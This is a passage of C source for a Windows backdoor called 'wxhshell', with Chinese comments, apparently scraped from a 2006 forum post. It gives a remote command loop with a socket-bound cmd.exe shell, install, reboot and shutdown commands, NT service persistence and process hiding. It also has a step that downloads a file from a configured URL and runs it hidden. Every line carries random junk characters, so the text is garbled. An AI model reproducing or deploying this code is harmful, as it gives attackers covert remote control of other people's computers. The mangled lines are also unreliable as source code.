    switch(cmd[0]) { ,KhMzE8_a  
  Y = g>r]2  
  // 帮助 Ih-3t*L  
  case '?': { =SK+ \j$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "gbnLKs  
    break; q?Ku}eID3  
  } UC+7-y,  
  // 安装 le^_6| ek  
  case 'i': { x<*IF,o  
    if(Install()) aEEz4,x_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aFr!PQp4{  
    else k99gjL`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b1+hr(kMRM  
    break; 9oj e`Ay  
    } )`s;~_ZZ  
  // 卸载 uH ny ]  
  case 'r': { !M]%8NTt2  
    if(Uninstall()) :,%J6Zh?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?zhI=1 ED%  
    else 3Zaq#uA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x7KcO0F{  
    break; E)80S.V  
    } o,CA;_  
  // 显示 wxhshell 所在路径 6R-C0_'h  
  case 'p': { bQXc IIa{  
    char svExeFile[MAX_PATH]; ~.W=  
    strcpy(svExeFile,"\n\r"); Wd^lt7(j  
      strcat(svExeFile,ExeFile); OC?Zw@  
        send(wsh,svExeFile,strlen(svExeFile),0); 18O@ 1M  
    break; '"xL}8HX}  
    } +24|_Lx0  
  // 重启 3b|7[7}&  
  case 'b': { o%Uu.P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); > h,y\uV1  
    if(Boot(REBOOT)) )RA\kZ"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |.Nr.4Yp  
    else { JtYYT/PB  
    closesocket(wsh); `i t+D  
    ExitThread(0); 6^] `-4*W  
    } pcRF: ~TE  
    break; )BF \!sTn  
    } u>,lf\Fgz  
  // 关机 e0v9uQ%F5  
  case 'd': { ;Na8 _}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nW $A^  
    if(Boot(SHUTDOWN)) Z]x  5!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :k ME  
    else { FE8+E\ U?  
    closesocket(wsh); ){O1&|z-  
    ExitThread(0); HUU >hq9  
    } Kf05<J!  
    break; &*(n<5 wt  
    } 2I]]WBW#:  
  // 获取shell UM4 @H1  
  case 's': { #$rf-E5g-K  
    CmdShell(wsh); 00`bL  
    closesocket(wsh); kZU"Xn  
    ExitThread(0); rPiiC/T.`  
    break; YW8K $W  
  } W>p\O9BG  
  // 退出 5E]UI YAkV  
  case 'x': { hi;WFyJTu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <CNE>@-f  
    CloseIt(wsh); 4NpHX+=P  
    break; T>\nWancQM  
    } %PQldPL8  
  // 离开 H_% d3 RI  
  case 'q': { [<D+p qh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $:f.Krj  
    closesocket(wsh); Q7CwQi  
    WSACleanup(); 6-*~ t8  
    exit(1); 457fT|  
    break; tXf}jU}  
        } ?vZWUWa  
  } vQ:x% =]  
  } 'v'` F*6  
xNC* ]8d  
  // 提示信息 }': EJ~H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5wzQ?07T_  
} F3r S6_  
  } W$z#ssr  
=gW"#ZjL){  
  return; YH ETI~'j.  
} #'J~Xk   
Qy{NS.T  
// shell模块句柄 ?*CRa$_I|  
int CmdShell(SOCKET sock) ]~?S~l%  
{ 5"1!p3`\D{  
STARTUPINFO si; /yx=7<  
ZeroMemory(&si,sizeof(si)); CCuxC9i7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8_"3Yb`f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'is,^q:@  
PROCESS_INFORMATION ProcessInfo; J*}VV9H  
char cmdline[]="cmd"; /lf\ E=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "%:7j!#X|I  
  return 0; g/OI|1a  
} NlA*\vco  
Z -pyFK\  
// 自身启动模式 :6 Uk)   
int StartFromService(void) ! (B_EM  
{ !aQIh  
typedef struct d>^~9X  
{ 5+y@ ]5&g  
  DWORD ExitStatus; *w=z~Jq^R"  
  DWORD PebBaseAddress; /t$rX3A  
  DWORD AffinityMask; utq.r_  
  DWORD BasePriority; (3AYy0J%  
  ULONG UniqueProcessId; rQ=xcn[A  
  ULONG InheritedFromUniqueProcessId;  &|/vM.  
}   PROCESS_BASIC_INFORMATION; "(0oP9lZ  
])N|[|$  
PROCNTQSIP NtQueryInformationProcess; sk#9x`Rw  
jz %;4e~t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H!Wis3S3G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nA>*IU[  
p:Iw%eZ:  
  HANDLE             hProcess; Bp &6x;MJf  
  PROCESS_BASIC_INFORMATION pbi; Xf6fH O  
(})]H:W7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {GUb'J  
  if(NULL == hInst ) return 0; {VBR/M(q  
+*n] tlk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); USE   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ah 4kA LO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P\.WXe#j  
.H Fc9^.*  
  if (!NtQueryInformationProcess) return 0; $X`bm*  
Mg#`t$ u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U%Dit  
  if(!hProcess) return 0; \^yXc*C  
Po!oN~r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; et@">D%;]  
:]EP@.(  
  CloseHandle(hProcess); Dp^"J85}   
E yd$fcRK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @o`sf-8x  
if(hProcess==NULL) return 0; +IvNyj|  
VxNXd?  
HMODULE hMod; uH $oGY  
char procName[255]; ]GcV0&|  
unsigned long cbNeeded; a/#+92C  
NK8<= n%"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jz|VF,l  
Cm^Yl p  
  CloseHandle(hProcess); 2>g^4(  
7@JjjV  
if(strstr(procName,"services")) return 1; // 以服务启动 vxb@9 eb!H  
B i'd5B5  
  return 0; // 注册表启动 : -E,   
} wc"9A~  
u',b1 3g(  
// 主模块 5;}2[3}[  
int StartWxhshell(LPSTR lpCmdLine) WmNA5;<Q  
{ PVhik@Yoh  
  SOCKET wsl; @]*[c})/  
BOOL val=TRUE; `4_c0 q)N4  
  int port=0; B\f"Iirw  
  struct sockaddr_in door; g- XKP  
1^S'sWwe  
  if(wscfg.ws_autoins) Install(); l@xWQj9  
=`JW1dM  
port=atoi(lpCmdLine); cbfD B^_  
;;M"hI3@  
if(port<=0) port=wscfg.ws_port; 46ILs1T6  
;"D~W#0-v  
  WSADATA data; >8%M*-=p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ha?G=X  
lHcA j{6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <&`:&7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WX LK89ev\  
  door.sin_family = AF_INET; E!uJ6\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); emA.{cVr!  
  door.sin_port = htons(port); k j-=xhJ{=  
36nyu_h:R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,'=hjIel  
closesocket(wsl); 7q!?1 -?8R  
return 1; I,]J=xi  
} 0Yp>+:#  
04~}IbeJ  
  if(listen(wsl,2) == INVALID_SOCKET) { u >4ArtF  
closesocket(wsl); #vtN+E  
return 1; w#sq'vo4%  
} jKS!'?  
  Wxhshell(wsl); QPX`l0V  
  WSACleanup(); Z4#v~!  
S.1( 3j*  
return 0; 7H4L-J3  
Y|_O8[  
} nX)f'[ 7  
 >9{zQf!  
// 以NT服务方式启动 pziq0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 02(h={  
{ BGN9, ii  
DWORD   status = 0; G?R_aPP  
  DWORD   specificError = 0xfffffff; ,[Ag~.T  
9j0o&Xn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EsTB(9c?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mzz$`M 1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f9a$$nb3`  
  serviceStatus.dwWin32ExitCode     = 0; RtwUb(wn6  
  serviceStatus.dwServiceSpecificExitCode = 0; |U EC  
  serviceStatus.dwCheckPoint       = 0; )(lJT&e  
  serviceStatus.dwWaitHint       = 0; <1K7@Tu  
3-iD.IAUm@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IytDvz*|  
  if (hServiceStatusHandle==0) return; $T?]+2,6;  
cv]BV>=E  
status = GetLastError(); Ch t%uzb,  
  if (status!=NO_ERROR) b4)k&*dfR  
{ O:._W<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2$ tQ @r  
    serviceStatus.dwCheckPoint       = 0; yyjw?#\8  
    serviceStatus.dwWaitHint       = 0; F{\=PCZ>7  
    serviceStatus.dwWin32ExitCode     = status; @y5=J`@=  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0yaMe@&,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 57<Di!rt  
    return; x}|+sS,g  
  } l~ D\;F  
z+ ZG1\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #3+~.,X9  
  serviceStatus.dwCheckPoint       = 0; hl<y4y&|  
  serviceStatus.dwWaitHint       = 0; r%|A$=[Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !VRo*[yD@  
} TM-Fu([LMV  
AuXs B  
// 处理NT服务事件,比如:启动、停止 jM@?<1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V'I T1~  
{ !3V{2-y$-  
switch(fdwControl) l|q%%W0  
{ 7h`^N5H.q  
case SERVICE_CONTROL_STOP: H99xZxHZ{  
  serviceStatus.dwWin32ExitCode = 0; nA+F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z9VR]cf?  
  serviceStatus.dwCheckPoint   = 0; [~)x<=H8{  
  serviceStatus.dwWaitHint     = 0; #ua^{OrC/  
  { GyK(Vb"h6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1O0X-C,wo$  
  } 8#l+{`$z  
  return; /?P!.!W&  
case SERVICE_CONTROL_PAUSE: K{2h9 ]VF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~j"3}wXc5  
  break; 'fn$'CeM(  
case SERVICE_CONTROL_CONTINUE: WqQU@sA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #w|5 jN?  
  break; X3yS5wh d(  
case SERVICE_CONTROL_INTERROGATE: }LQC.!  
  break; qnXTNs ?b  
}; {m[Wyb(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n}q$f|4!  
} AG>\aV"b  
o0mJy'  
// 标准应用程序主函数 yLqF ,pvO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?oKL &I@  
{ R5kH0{zM  
)i-gs4[(QN  
// 获取操作系统版本 dp<$Zw8BE  
OsIsNt=GetOsVer(); T?rH ,$:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +?AW>&68y  
*|KVN&#  
  // 从命令行安装 :c:V%0Yji  
  if(strpbrk(lpCmdLine,"iI")) Install(); l9J*um-  
Ww`&i  
  // 下载执行文件 SiTeB)/  
if(wscfg.ws_downexe) { EEwWucQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x.UaQ |F  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6|#g+&[  
} Z&Pu8zG /m  
vaB!R 0  
if(!OsIsNt) { 3{RL \gh$"  
// 如果时win9x,隐藏进程并且设置为注册表启动 T 1zi0fa'  
HideProc(); = F<:}Tx)C  
StartWxhshell(lpCmdLine); u"Y]P*[k  
} kOI !~Qk  
else 1-o V-K  
  if(StartFromService()) IaasHo\  
  // 以服务方式启动 Ct!S Tk[2  
  StartServiceCtrlDispatcher(DispatchTable); moG~S]  
else Z@M6!;y#  
  // 普通方式启动 Ep ">v>"  
  StartWxhshell(lpCmdLine); Uk'U?9O  
 }_%P6  
return 0; wW5Yw i  
}
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只看该作者 1 发表于: 2006-10-10
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